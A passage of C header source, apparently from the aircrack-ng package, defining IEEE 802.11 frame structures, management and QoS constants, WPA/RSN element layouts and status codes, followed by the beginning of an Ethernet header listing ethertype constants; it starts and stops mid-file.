i_addr4[IEEE80211_ADDR_LEN]; } __packed; struct ieee80211_qosframe_addr4 { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; u_int8_t i_addr4[IEEE80211_ADDR_LEN]; u_int8_t i_qos[2]; } __packed; #define IEEE80211_FC0_VERSION_MASK 0x03 #define IEEE80211_FC0_VERSION_SHIFT 0 #define IEEE80211_FC0_VERSION_0 0x00 #define IEEE80211_FC0_TYPE_MASK 0x0c #define IEEE80211_FC0_TYPE_SHIFT 2 #define IEEE80211_FC0_TYPE_MGT 0x00 #define IEEE80211_FC0_TYPE_CTL 0x04 #define IEEE80211_FC0_TYPE_DATA 0x08 #define IEEE80211_FC0_SUBTYPE_MASK 0xf0 #define IEEE80211_FC0_SUBTYPE_SHIFT 4 /* for TYPE_MGT */ #define IEEE80211_FC0_SUBTYPE_ASSOC_REQ 0x00 #define IEEE80211_FC0_SUBTYPE_ASSOC_RESP 0x10 #define IEEE80211_FC0_SUBTYPE_REASSOC_REQ 0x20 #define IEEE80211_FC0_SUBTYPE_REASSOC_RESP 0x30 #define IEEE80211_FC0_SUBTYPE_PROBE_REQ 0x40 #define IEEE80211_FC0_SUBTYPE_PROBE_RESP 0x50 #define IEEE80211_FC0_SUBTYPE_BEACON 0x80 #define IEEE80211_FC0_SUBTYPE_ATIM 0x90 #define IEEE80211_FC0_SUBTYPE_DISASSOC 0xa0 #define IEEE80211_FC0_SUBTYPE_AUTH 0xb0 #define IEEE80211_FC0_SUBTYPE_DEAUTH 0xc0 /* for TYPE_CTL */ #define IEEE80211_FC0_SUBTYPE_PS_POLL 0xa0 #define IEEE80211_FC0_SUBTYPE_RTS 0xb0 #define IEEE80211_FC0_SUBTYPE_CTS 0xc0 #define IEEE80211_FC0_SUBTYPE_ACK 0xd0 #define IEEE80211_FC0_SUBTYPE_CF_END 0xe0 #define IEEE80211_FC0_SUBTYPE_CF_END_ACK 0xf0 /* for TYPE_DATA (bit combination) */ #define IEEE80211_FC0_SUBTYPE_DATA 0x00 #define IEEE80211_FC0_SUBTYPE_CF_ACK 0x10 #define IEEE80211_FC0_SUBTYPE_CF_POLL 0x20 #define IEEE80211_FC0_SUBTYPE_CF_ACPL 0x30 #define IEEE80211_FC0_SUBTYPE_NODATA 0x40 #define IEEE80211_FC0_SUBTYPE_CFACK 0x50 #define IEEE80211_FC0_SUBTYPE_CFPOLL 0x60 #define IEEE80211_FC0_SUBTYPE_CF_ACK_CF_ACK 0x70 #define IEEE80211_FC0_SUBTYPE_QOS 0x80 #define IEEE80211_FC0_SUBTYPE_QOS_NULL 0xc0 /* * DS bit usage * * TA = transmitter address * RA = receiver address * DA = destination address * SA = source address * * ToDS FromDS A1(RA) A2(TA) A3 A4 Use * ----------------------------------------------------------------- * 0 0 DA SA BSSID - IBSS/DLS * 0 1 DA BSSID SA - AP -> STA * 1 0 BSSID SA DA - AP <- STA * 1 1 RA TA DA SA unspecified (WDS) */ #define IEEE80211_FC1_DIR_MASK 0x03 #define IEEE80211_FC1_DIR_NODS 0x00 /* STA->STA */ #define IEEE80211_FC1_DIR_TODS 0x01 /* STA->AP */ #define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */ #define IEEE80211_FC1_DIR_DSTODS 0x03 /* AP ->AP */ #define IEEE80211_FC1_MORE_FRAG 0x04 #define IEEE80211_FC1_RETRY 0x08 #define IEEE80211_FC1_PWR_MGT 0x10 #define IEEE80211_FC1_MORE_DATA 0x20 #define IEEE80211_FC1_PROTECTED 0x40 #define IEEE80211_FC1_WEP 0x40 /* pre-RSNA compat */ #define IEEE80211_FC1_ORDER 0x80 #define IEEE80211_SEQ_FRAG_MASK 0x000f #define IEEE80211_SEQ_FRAG_SHIFT 0 #define IEEE80211_SEQ_SEQ_MASK 0xfff0 #define IEEE80211_SEQ_SEQ_SHIFT 4 #define IEEE80211_NWID_LEN 32 /* * QoS Control field (see 7.1.3.5). */ /* bit 8 is reserved */ #define IEEE80211_QOS_TXOP 0xff00 #define IEEE80211_QOS_AMSDU 0x0080 /* 11n */ #define IEEE80211_QOS_ACKPOLICY_NORMAL 0x0000 #define IEEE80211_QOS_ACKPOLICY_NOACK 0x0020 #define IEEE80211_QOS_ACKPOLICY_NOEXPLACK 0x0040 #define IEEE80211_QOS_ACKPOLICY 0x0060 #define IEEE80211_QOS_ACKPOLICY_S 5 #define IEEE80211_QOS_ACKPOLICY_MASK 0x0060 #define IEEE80211_QOS_ACKPOLICY_BA 0x0060 #define IEEE80211_QOS_ESOP 0x0010 #define IEEE80211_QOS_ESOP_S 4 #define IEEE80211_QOS_TID 0x000f /* * WME/802.11e information element. */ struct ieee80211_wme_info { u_int8_t wme_id; /* IEEE80211_ELEMID_VENDOR */ u_int8_t wme_len; /* length in bytes */ u_int8_t wme_oui[3]; /* 0x00, 0x50, 0xf2 */ u_int8_t wme_type; /* OUI type */ u_int8_t wme_subtype; /* OUI subtype */ u_int8_t wme_version; /* spec revision */ u_int8_t wme_info; /* QoS info */ } __packed; /* * WME/802.11e Tspec Element */ struct ieee80211_wme_tspec { u_int8_t ts_id; u_int8_t ts_len; u_int8_t ts_oui[3]; u_int8_t ts_oui_type; u_int8_t ts_oui_subtype; u_int8_t ts_version; u_int8_t ts_tsinfo[3]; u_int8_t ts_nom_msdu[2]; u_int8_t ts_max_msdu[2]; u_int8_t ts_min_svc[4]; u_int8_t ts_max_svc[4]; u_int8_t ts_inactv_intv[4]; u_int8_t ts_susp_intv[4]; u_int8_t ts_start_svc[4]; u_int8_t ts_min_rate[4]; u_int8_t ts_mean_rate[4]; u_int8_t ts_max_burst[4]; u_int8_t ts_min_phy[4]; u_int8_t ts_peak_rate[4]; u_int8_t ts_delay[4]; u_int8_t ts_surplus[2]; u_int8_t ts_medium_time[2]; } __packed; /* * WME AC parameter field */ struct ieee80211_wme_acparams { u_int8_t acp_aci_aifsn; u_int8_t acp_logcwminmax; u_int16_t acp_txop; } __packed; /* WME stream classes */ enum ieee80211_wme_ac { WME_AC_BE = 0, /* best effort */ WME_AC_BK = 1, /* background */ WME_AC_VI = 2, /* video */ WME_AC_VO = 3, /* voice */ }; #define WME_NUM_AC 4 /* 4 AC categories */ #define WME_PARAM_ACI 0x60 /* Mask for ACI field */ #define WME_PARAM_ACI_S 5 /* Shift for ACI field */ #define WME_PARAM_ACM 0x10 /* Mask for ACM bit */ #define WME_PARAM_ACM_S 4 /* Shift for ACM bit */ #define WME_PARAM_AIFSN 0x0f /* Mask for aifsn field */ #define WME_PARAM_AIFSN_S 0 /* Shift for aifsn field */ #define WME_PARAM_LOGCWMIN 0x0f /* Mask for CwMin field (in log) */ #define WME_PARAM_LOGCWMIN_S 0 /* Shift for CwMin field */ #define WME_PARAM_LOGCWMAX 0xf0 /* Mask for CwMax field (in log) */ #define WME_PARAM_LOGCWMAX_S 4 /* Shift for CwMax field */ #define WME_AC_TO_TID(_ac) ( \ ((_ac) == WME_AC_VO) ? 6 : \ ((_ac) == WME_AC_VI) ? 5 : \ ((_ac) == WME_AC_BK) ? 1 : \ 0) #define TID_TO_WME_AC(_tid) ( \ ((_tid) < 1) ? WME_AC_BE : \ ((_tid) < 3) ? WME_AC_BK : \ ((_tid) < 6) ? WME_AC_VI : \ WME_AC_VO) /* * WME Parameter Element */ struct ieee80211_wme_param { u_int8_t param_id; u_int8_t param_len; u_int8_t param_oui[3]; u_int8_t param_oui_type; u_int8_t param_oui_sybtype; u_int8_t param_version; u_int8_t param_qosInfo; #define WME_QOSINFO_COUNT 0x0f /* Mask for param count field */ u_int8_t param_reserved; struct ieee80211_wme_acparams params_acParams[WME_NUM_AC]; } __packed; /* * Management Notification Frame */ struct ieee80211_mnf { u_int8_t mnf_category; u_int8_t mnf_action; u_int8_t mnf_dialog; u_int8_t mnf_status; } __packed; #define MNF_SETUP_REQ 0 #define MNF_SETUP_RESP 1 #define MNF_TEARDOWN 2 /* * Control frames. */ struct ieee80211_frame_min { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_rts { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_ra[IEEE80211_ADDR_LEN]; u_int8_t i_ta[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_cts { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_ra[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_ack { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_ra[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_pspoll { u_int8_t i_fc[2]; u_int8_t i_aid[2]; u_int8_t i_bssid[IEEE80211_ADDR_LEN]; u_int8_t i_ta[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_cfend { /* NB: also CF-End+CF-Ack */ u_int8_t i_fc[2]; u_int8_t i_dur[2]; /* should be zero */ u_int8_t i_ra[IEEE80211_ADDR_LEN]; u_int8_t i_bssid[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; static __inline int ieee80211_has_seq(const struct ieee80211_frame *wh) { return (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) != IEEE80211_FC0_TYPE_CTL; } static __inline int ieee80211_has_addr4(const struct ieee80211_frame *wh) { return (wh->i_fc[1] & IEEE80211_FC1_DIR_MASK) == IEEE80211_FC1_DIR_DSTODS; } static __inline int ieee80211_has_qos(const struct ieee80211_frame *wh) { return (wh->i_fc[0] & (IEEE80211_FC0_TYPE_MASK | IEEE80211_FC0_SUBTYPE_QOS)) == (IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_QOS); } static __inline int ieee80211_has_htc(const struct ieee80211_frame *wh) { return (wh->i_fc[1] & IEEE80211_FC1_ORDER) && (ieee80211_has_qos(wh) || (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_MGT); } static __inline u_int16_t ieee80211_get_qos(const struct ieee80211_frame *wh) { const u_int8_t *frm; if (ieee80211_has_addr4(wh)) frm = ((const struct ieee80211_qosframe_addr4 *)wh)->i_qos; else frm = ((const struct ieee80211_qosframe *)wh)->i_qos; return le16toh(*(const u_int16_t *)frm); } /* * BEACON management packets * * octet timestamp[8] * octet beacon interval[2] * octet capability information[2] * information element * octet elemid * octet length * octet information[length] */ typedef u_int8_t *ieee80211_mgt_beacon_t; #define IEEE80211_BEACON_INTERVAL(beacon) \ ((beacon)[8] | ((beacon)[9] << 8)) #define IEEE80211_BEACON_CAPABILITY(beacon) \ ((beacon)[10] | ((beacon)[11] << 8)) #define IEEE80211_CAPINFO_ESS 0x0001 #define IEEE80211_CAPINFO_IBSS 0x0002 #define IEEE80211_CAPINFO_CF_POLLABLE 0x0004 #define IEEE80211_CAPINFO_CF_POLLREQ 0x0008 #define IEEE80211_CAPINFO_PRIVACY 0x0010 #define IEEE80211_CAPINFO_SHORT_PREAMBLE 0x0020 #define IEEE80211_CAPINFO_PBCC 0x0040 #define IEEE80211_CAPINFO_CHNL_AGILITY 0x0080 /* bits 8-9 are reserved */ #define IEEE80211_CAPINFO_SHORT_SLOTTIME 0x0400 #define IEEE80211_CAPINFO_RSN 0x0800 /* bit 12 is reserved */ #define IEEE80211_CAPINFO_DSSSOFDM 0x2000 /* bits 14-15 are reserved */ /* * 802.11i/WPA information element (maximally sized). */ struct ieee80211_ie_wpa { u_int8_t wpa_id; /* IEEE80211_ELEMID_VENDOR */ u_int8_t wpa_len; /* length in bytes */ u_int8_t wpa_oui[3]; /* 0x00, 0x50, 0xf2 */ u_int8_t wpa_type; /* OUI type */ u_int16_t wpa_version; /* spec revision */ u_int32_t wpa_mcipher[1]; /* multicast/group key cipher */ u_int16_t wpa_uciphercnt; /* # pairwise key ciphers */ u_int32_t wpa_uciphers[8];/* ciphers */ u_int16_t wpa_authselcnt; /* authentication selector cnt*/ u_int32_t wpa_authsels[8];/* selectors */ u_int16_t wpa_caps; /* 802.11i capabilities */ u_int16_t wpa_pmkidcnt; /* 802.11i pmkid count */ u_int16_t wpa_pmkids[8]; /* 802.11i pmkids */ } __packed; /* * Management information element payloads. */ enum { IEEE80211_ELEMID_SSID = 0, IEEE80211_ELEMID_RATES = 1, IEEE80211_ELEMID_FHPARMS = 2, IEEE80211_ELEMID_DSPARMS = 3, IEEE80211_ELEMID_CFPARMS = 4, IEEE80211_ELEMID_TIM = 5, IEEE80211_ELEMID_IBSSPARMS = 6, IEEE80211_ELEMID_COUNTRY = 7, IEEE80211_ELEMID_EDCAPARMS = 12, IEEE80211_ELEMID_CHALLENGE = 16, /* 17-31 reserved for challenge text extension */ IEEE80211_ELEMID_PWRCNSTR = 32, IEEE80211_ELEMID_PWRCAP = 33, IEEE80211_ELEMID_TPCREQ = 34, IEEE80211_ELEMID_TPCREP = 35, IEEE80211_ELEMID_SUPPCHAN = 36, IEEE80211_ELEMID_CHANSWITCHANN = 37, IEEE80211_ELEMID_MEASREQ = 38, IEEE80211_ELEMID_MEASREP = 39, IEEE80211_ELEMID_QUIET = 40, IEEE80211_ELEMID_IBSSDFS = 41, IEEE80211_ELEMID_ERP = 42, IEEE80211_ELEMID_HTCAP = 45, /* 11n */ IEEE80211_ELEMID_QOS_CAP = 46, IEEE80211_ELEMID_RSN = 48, IEEE80211_ELEMID_XRATES = 50, IEEE80211_ELEMID_TIE = 56, /* 11r */ IEEE80211_ELEMID_HTINFO = 61, /* 11n */ IEEE80211_ELEMID_MMIE = 76, /* 11w */ IEEE80211_ELEMID_TPC = 150, IEEE80211_ELEMID_CCKM = 156, IEEE80211_ELEMID_VENDOR = 221 /* vendor private */ }; struct ieee80211_tim_ie { u_int8_t tim_ie; /* IEEE80211_ELEMID_TIM */ u_int8_t tim_len; u_int8_t tim_count; /* DTIM count */ u_int8_t tim_period; /* DTIM period */ u_int8_t tim_bitctl; /* bitmap control */ u_int8_t tim_bitmap[1]; /* variable-length bitmap */ } __packed; struct ieee80211_band { u_int8_t schan; /* starting channel */ u_int8_t nchan; /* number channels */ u_int8_t maxtxpwr; /* tx power cap */ } __packed; struct ieee80211_country_ie { u_int8_t ie; /* IEEE80211_ELEMID_COUNTRY */ u_int8_t len; u_int8_t cc[3]; /* ISO CC+(I)ndoor/(O)utdoor */ struct ieee80211_band band[4]; /* up to 4 sub bands */ } __packed; #define IEEE80211_CHALLENGE_LEN 128 #define IEEE80211_RATE_BASIC 0x80 #define IEEE80211_RATE_VAL 0x7f /* EPR information element flags */ #define IEEE80211_ERP_NON_ERP_PRESENT 0x01 #define IEEE80211_ERP_USE_PROTECTION 0x02 #define IEEE80211_ERP_LONG_PREAMBLE 0x04 /* Atheros private advanced capabilities info */ #define ATHEROS_CAP_TURBO_PRIME 0x01 #define ATHEROS_CAP_COMPRESSION 0x02 #define ATHEROS_CAP_FAST_FRAME 0x04 /* bits 3-6 reserved */ #define ATHEROS_CAP_BOOST 0x80 #define ATH_OUI 0x7f0300 /* Atheros OUI */ #define ATH_OUI_TYPE 0x01 #define ATH_OUI_VERSION 0x01 #define WPA_OUI 0xf25000 #define WPA_OUI_TYPE 0x01 #define WPA_VERSION 1 /* current supported version */ #define WPA_CSE_NULL 0x00 #define WPA_CSE_WEP40 0x01 #define WPA_CSE_TKIP 0x02 #define WPA_CSE_CCMP 0x04 #define WPA_CSE_WEP104 0x05 #define WPA_ASE_NONE 0x00 #define WPA_ASE_8021X_UNSPEC 0x01 #define WPA_ASE_8021X_PSK 0x02 #define RSN_OUI 0xac0f00 #define RSN_VERSION 1 /* current supported version */ #define RSN_CSE_NULL 0x00 #define RSN_CSE_WEP40 0x01 #define RSN_CSE_TKIP 0x02 #define RSN_CSE_WRAP 0x03 #define RSN_CSE_CCMP 0x04 #define RSN_CSE_WEP104 0x05 #define RSN_ASE_NONE 0x00 #define RSN_ASE_8021X_UNSPEC 0x01 #define RSN_ASE_8021X_PSK 0x02 #define RSN_CAP_PREAUTH 0x01 #define WME_OUI 0xf25000 #define WME_OUI_TYPE 0x02 #define WME_INFO_OUI_SUBTYPE 0x00 #define WME_PARAM_OUI_SUBTYPE 0x01 #define WME_VERSION 1 /* * AUTH management packets * * octet algo[2] * octet seq[2] * octet status[2] * octet chal.id * octet chal.length * octet chal.text[253] */ typedef u_int8_t *ieee80211_mgt_auth_t; #define IEEE80211_AUTH_ALGORITHM(auth) \ ((auth)[0] | ((auth)[1] << 8)) #define IEEE80211_AUTH_TRANSACTION(auth) \ ((auth)[2] | ((auth)[3] << 8)) #define IEEE80211_AUTH_STATUS(auth) \ ((auth)[4] | ((auth)[5] << 8)) #define IEEE80211_AUTH_ALG_OPEN 0x0000 #define IEEE80211_AUTH_ALG_SHARED 0x0001 #define IEEE80211_AUTH_ALG_LEAP 0x0080 enum { IEEE80211_AUTH_OPEN_REQUEST = 1, IEEE80211_AUTH_OPEN_RESPONSE = 2 }; enum { IEEE80211_AUTH_SHARED_REQUEST = 1, IEEE80211_AUTH_SHARED_CHALLENGE = 2, IEEE80211_AUTH_SHARED_RESPONSE = 3, IEEE80211_AUTH_SHARED_PASS = 4 }; /* * Reason codes * * Unlisted codes are reserved */ enum { IEEE80211_REASON_UNSPECIFIED = 1, IEEE80211_REASON_AUTH_EXPIRE = 2, IEEE80211_REASON_AUTH_LEAVE = 3, IEEE80211_REASON_ASSOC_EXPIRE = 4, IEEE80211_REASON_ASSOC_TOOMANY = 5, IEEE80211_REASON_NOT_AUTHED = 6, IEEE80211_REASON_NOT_ASSOCED = 7, IEEE80211_REASON_ASSOC_LEAVE = 8, IEEE80211_REASON_ASSOC_NOT_AUTHED = 9, IEEE80211_REASON_RSN_REQUIRED = 11, IEEE80211_REASON_RSN_INCONSISTENT = 12, IEEE80211_REASON_IE_INVALID = 13, IEEE80211_REASON_MIC_FAILURE = 14, IEEE80211_STATUS_SUCCESS = 0, IEEE80211_STATUS_UNSPECIFIED = 1, IEEE80211_STATUS_CAPINFO = 10, IEEE80211_STATUS_NOT_ASSOCED = 11, IEEE80211_STATUS_OTHER = 12, IEEE80211_STATUS_ALG = 13, IEEE80211_STATUS_SEQUENCE = 14, IEEE80211_STATUS_CHALLENGE = 15, IEEE80211_STATUS_TIMEOUT = 16, IEEE80211_STATUS_TOOMANY = 17, IEEE80211_STATUS_BASIC_RATE = 18, IEEE80211_STATUS_SP_REQUIRED = 19, IEEE80211_STATUS_PBCC_REQUIRED = 20, IEEE80211_STATUS_CA_REQUIRED = 21, IEEE80211_STATUS_TOO_MANY_STATIONS = 22, IEEE80211_STATUS_RATES = 23, IEEE80211_STATUS_SHORTSLOT_REQUIRED = 25, IEEE80211_STATUS_DSSSOFDM_REQUIRED = 26 }; #define IEEE80211_WEP_KEYLEN 5 /* 40bit */ #define IEEE80211_WEP_IVLEN 3 /* 24bit */ #define IEEE80211_WEP_KIDLEN 1 /* 1 octet */ #define IEEE80211_WEP_CRCLEN 4 /* CRC-32 */ #define IEEE80211_WEP_TOTLEN (IEEE80211_WEP_IVLEN + \ IEEE80211_WEP_KIDLEN + \ IEEE80211_WEP_CRCLEN) #define IEEE80211_WEP_NKID 4 /* number of key ids */ /* * 802.11i defines an extended IV for use with non-WEP ciphers. * When the EXTIV bit is set in the key id byte an additional * 4 bytes immediately follow the IV for TKIP. For CCMP the * EXTIV bit is likewise set but the 8 bytes represent the * CCMP header rather than IV+extended-IV. */ #define IEEE80211_WEP_EXTIV 0x20 #define IEEE80211_WEP_EXTIVLEN 4 /* extended IV length */ #define IEEE80211_WEP_MICLEN 8 /* trailing MIC */ #define IEEE80211_CRC_LEN 4 /* * Maximum acceptable MTU is: * IEEE80211_MAX_LEN - WEP overhead - CRC - * QoS overhead - RSN/WPA overhead * Min is arbitrarily chosen > IEEE80211_MIN_LEN. The default * mtu is Ethernet-compatible; it's set by ether_ifattach. */ #define IEEE80211_MTU_MAX 2290 #define IEEE80211_MTU_MIN 32 #define IEEE80211_MAX_LEN (2300 + IEEE80211_CRC_LEN + \ (IEEE80211_WEP_IVLEN + IEEE80211_WEP_KIDLEN + IEEE80211_WEP_CRCLEN)) #define IEEE80211_ACK_LEN \ (sizeof(struct ieee80211_frame_ack) + IEEE80211_CRC_LEN) #define IEEE80211_MIN_LEN \ (sizeof(struct ieee80211_frame_min) + IEEE80211_CRC_LEN) /* * The 802.11 spec says at most 2007 stations may be * associated at once. For most AP's this is way more * than is feasible so we use a default of 128. This * number may be overridden by the driver and/or by * user configuration. */ #define IEEE80211_AID_MAX 2007 #define IEEE80211_AID_DEF 128 #define IEEE80211_AID(b) ((b) &~ 0xc000) /* * RTS frame length parameters. The default is specified in * the 802.11 spec as 512; we treat it as implementation-dependent * so it's defined in ieee80211_var.h. The max may be wrong * for jumbo frames. */ #define IEEE80211_RTS_MIN 1 #define IEEE80211_RTS_MAX 2346 /* * TX fragmentation parameters. As above for RTS, we treat * default as implementation-dependent so define it elsewhere. */ #define IEEE80211_FRAG_MIN 256 #define IEEE80211_FRAG_MAX 2346 /* * 802.11 frame duration definitions. */ struct ieee80211_duration { uint16_t d_rts_dur; uint16_t d_data_dur; uint16_t d_plcp_len; uint8_t d_residue; /* unused octets in time slot */ }; /* One Time Unit (TU) is 1Kus = 1024 microseconds. */ #define IEEE80211_DUR_TU 1024 /* IEEE 802.11b durations for DSSS PHY in microseconds */ #define IEEE80211_DUR_DS_LONG_PREAMBLE 144 #define IEEE80211_DUR_DS_SHORT_PREAMBLE 72 #define IEEE80211_DUR_DS_SLOW_PLCPHDR 48 #define IEEE80211_DUR_DS_FAST_PLCPHDR 24 #define IEEE80211_DUR_DS_SLOW_ACK 112 #define IEEE80211_DUR_DS_FAST_ACK 56 #define IEEE80211_DUR_DS_SLOW_CTS 112 #define IEEE80211_DUR_DS_FAST_CTS 56 #define IEEE80211_DUR_DS_SLOT 20 #define IEEE80211_DUR_DS_SIFS 10 #define IEEE80211_DUR_DS_PIFS (IEEE80211_DUR_DS_SIFS + IEEE80211_DUR_DS_SLOT) #define IEEE80211_DUR_DS_DIFS (IEEE80211_DUR_DS_SIFS + \ 2 * IEEE80211_DUR_DS_SLOT) #define IEEE80211_DUR_DS_EIFS (IEEE80211_DUR_DS_SIFS + \ IEEE80211_DUR_DS_SLOW_ACK + \ IEEE80211_DUR_DS_LONG_PREAMBLE + \ IEEE80211_DUR_DS_SLOW_PLCPHDR + \ IEEE80211_DUR_DS_DIFS) #endif /* !_NET80211_IEEE80211_H_ */ aircrack-ng-1.2-rc4/src/include/ethernet.h0000644000000000000000000004623712566060462017145 0ustar rootroot/* * Fundamental constants relating to ethernet. * * $FreeBSD$ * */ #ifndef _NET_ETHERNET_H_ #define _NET_ETHERNET_H_ /* * Some basic Ethernet constants. */ #define ETHER_ADDR_LEN 6 /* length of an Ethernet address */ #define ETHER_TYPE_LEN 2 /* length of the Ethernet type field */ #define ETHER_CRC_LEN 4 /* length of the Ethernet CRC */ #define ETHER_HDR_LEN (ETHER_ADDR_LEN*2+ETHER_TYPE_LEN) #define ETHER_MIN_LEN 64 /* minimum frame len, including CRC */ #define ETHER_MAX_LEN 1518 /* maximum frame len, including CRC */ #define ETHER_MAX_LEN_JUMBO 9018 /* max jumbo frame len, including CRC */ #define ETHER_VLAN_ENCAP_LEN 4 /* len of 802.1Q VLAN encapsulation */ /* * Mbuf adjust factor to force 32-bit alignment of IP header. * Drivers should do m_adj(m, ETHER_ALIGN) when setting up a * receive so the upper layers get the IP header properly aligned * past the 14-byte Ethernet header. */ #define ETHER_ALIGN 2 /* driver adjust for IP hdr alignment */ /* * Compute the maximum frame size based on ethertype (i.e. possible * encapsulation) and whether or not an FCS is present. */ #define ETHER_MAX_FRAME(ifp, etype, hasfcs) \ ((ifp)->if_mtu + ETHER_HDR_LEN + \ ((hasfcs) ? ETHER_CRC_LEN : 0) + \ (((etype) == ETHERTYPE_VLAN) ? ETHER_VLAN_ENCAP_LEN : 0)) /* * Ethernet-specific mbuf flags. */ #define M_HASFCS M_PROTO5 /* FCS included at end of frame */ /* * Ethernet CRC32 polynomials (big- and little-endian verions). */ #define ETHER_CRC_POLY_LE 0xedb88320 #define ETHER_CRC_POLY_BE 0x04c11db6 /* * A macro to validate a length with */ #define ETHER_IS_VALID_LEN(foo) \ ((foo) >= ETHER_MIN_LEN && (foo) <= ETHER_MAX_LEN) /* * Structure of a 10Mb/s Ethernet header. */ struct ether_header { u_char ether_dhost[ETHER_ADDR_LEN]; u_char ether_shost[ETHER_ADDR_LEN]; u_short ether_type; } __packed; /* * Structure of a 48-bit Ethernet address. */ struct ether_addr { u_char octet[ETHER_ADDR_LEN]; } __packed; #define ETHER_IS_MULTICAST(addr) (*(addr) & 0x01) /* is address mcast/bcast? */ /* * NOTE: 0x0000-0x05DC (0..1500) are generally IEEE 802.3 length fields. * However, there are some conflicts. */ #define ETHERTYPE_8023 0x0004 /* IEEE 802.3 packet */ /* 0x0101 .. 0x1FF Experimental */ #define ETHERTYPE_PUP 0x0200 /* Xerox PUP protocol - see 0A00 */ #define ETHERTYPE_PUPAT 0x0200 /* PUP Address Translation - see 0A01 */ #define ETHERTYPE_SPRITE 0x0500 /* ??? */ /* 0x0400 Nixdorf */ #define ETHERTYPE_NS 0x0600 /* XNS */ #define ETHERTYPE_NSAT 0x0601 /* XNS Address Translation (3Mb only) */ #define ETHERTYPE_DLOG1 0x0660 /* DLOG (?) */ #define ETHERTYPE_DLOG2 0x0661 /* DLOG (?) */ #define ETHERTYPE_IP 0x0800 /* IP protocol */ #define ETHERTYPE_X75 0x0801 /* X.75 Internet */ #define ETHERTYPE_NBS 0x0802 /* NBS Internet */ #define ETHERTYPE_ECMA 0x0803 /* ECMA Internet */ #define ETHERTYPE_CHAOS 0x0804 /* CHAOSnet */ #define ETHERTYPE_X25 0x0805 /* X.25 Level 3 */ #define ETHERTYPE_ARP 0x0806 /* Address resolution protocol */ #define ETHERTYPE_NSCOMPAT 0x0807 /* XNS Compatibility */ #define ETHERTYPE_FRARP 0x0808 /* Frame Relay ARP (RFC1701) */ /* 0x081C Symbolics Private */ /* 0x0888 - 0x088A Xyplex */ #define ETHERTYPE_UBDEBUG 0x0900 /* Ungermann-Bass network debugger */ #define ETHERTYPE_IEEEPUP 0x0A00 /* Xerox IEEE802.3 PUP */ #define ETHERTYPE_IEEEPUPAT 0x0A01 /* Xerox IEEE802.3 PUP Address Translation */ #define ETHERTYPE_VINES 0x0BAD /* Banyan VINES */ #define ETHERTYPE_VINESLOOP 0x0BAE /* Banyan VINES Loopback */ #define ETHERTYPE_VINESECHO 0x0BAF /* Banyan VINES Echo */ /* 0x1000 - 0x100F Berkeley Trailer */ /* * The ETHERTYPE_NTRAILER packet types starting at ETHERTYPE_TRAIL have * (type-ETHERTYPE_TRAIL)*512 bytes of data followed * by an ETHER type (as given above) and then the (variable-length) header. */ #define ETHERTYPE_TRAIL 0x1000 /* Trailer packet */ #define ETHERTYPE_NTRAILER 16 #define ETHERTYPE_DCA 0x1234 /* DCA - Multicast */ #define ETHERTYPE_VALID 0x1600 /* VALID system protocol */ #define ETHERTYPE_DOGFIGHT 0x1989 /* Artificial Horizons ("Aviator" dogfight simulator [on Sun]) */ #define ETHERTYPE_RCL 0x1995 /* Datapoint Corporation (RCL lan protocol) */ /* The following 3C0x types are unregistered: */ #define ETHERTYPE_NBPVCD 0x3C00 /* 3Com NBP virtual circuit datagram (like XNS SPP) not registered */ #define ETHERTYPE_NBPSCD 0x3C01 /* 3Com NBP System control datagram not registered */ #define ETHERTYPE_NBPCREQ 0x3C02 /* 3Com NBP Connect request (virtual cct) not registered */ #define ETHERTYPE_NBPCRSP 0x3C03 /* 3Com NBP Connect response not registered */ #define ETHERTYPE_NBPCC 0x3C04 /* 3Com NBP Connect complete not registered */ #define ETHERTYPE_NBPCLREQ 0x3C05 /* 3Com NBP Close request (virtual cct) not registered */ #define ETHERTYPE_NBPCLRSP 0x3C06 /* 3Com NBP Close response not registered */ #define ETHERTYPE_NBPDG 0x3C07 /* 3Com NBP Datagram (like XNS IDP) not registered */ #define ETHERTYPE_NBPDGB 0x3C08 /* 3Com NBP Datagram broadcast not registered */ #define ETHERTYPE_NBPCLAIM 0x3C09 /* 3Com NBP Claim NetBIOS name not registered */ #define ETHERTYPE_NBPDLTE 0x3C0A /* 3Com NBP Delete NetBIOS name not registered */ #define ETHERTYPE_NBPRAS 0x3C0B /* 3Com NBP Remote adaptor status request not registered */ #define ETHERTYPE_NBPRAR 0x3C0C /* 3Com NBP Remote adaptor response not registered */ #define ETHERTYPE_NBPRST 0x3C0D /* 3Com NBP Reset not registered */ #define ETHERTYPE_PCS 0x4242 /* PCS Basic Block Protocol */ #define ETHERTYPE_IMLBLDIAG 0x424C /* Information Modes Little Big LAN diagnostic */ #define ETHERTYPE_DIDDLE 0x4321 /* THD - Diddle */ #define ETHERTYPE_IMLBL 0x4C42 /* Information Modes Little Big LAN */ #define ETHERTYPE_SIMNET 0x5208 /* BBN Simnet Private */ #define ETHERTYPE_DECEXPER 0x6000 /* DEC Unassigned, experimental */ #define ETHERTYPE_MOPDL 0x6001 /* DEC MOP dump/load */ #define ETHERTYPE_MOPRC 0x6002 /* DEC MOP remote console */ #define ETHERTYPE_DECnet 0x6003 /* DEC DECNET Phase IV route */ #define ETHERTYPE_DN ETHERTYPE_DECnet /* libpcap, tcpdump */ #define ETHERTYPE_LAT 0x6004 /* DEC LAT */ #define ETHERTYPE_DECDIAG 0x6005 /* DEC 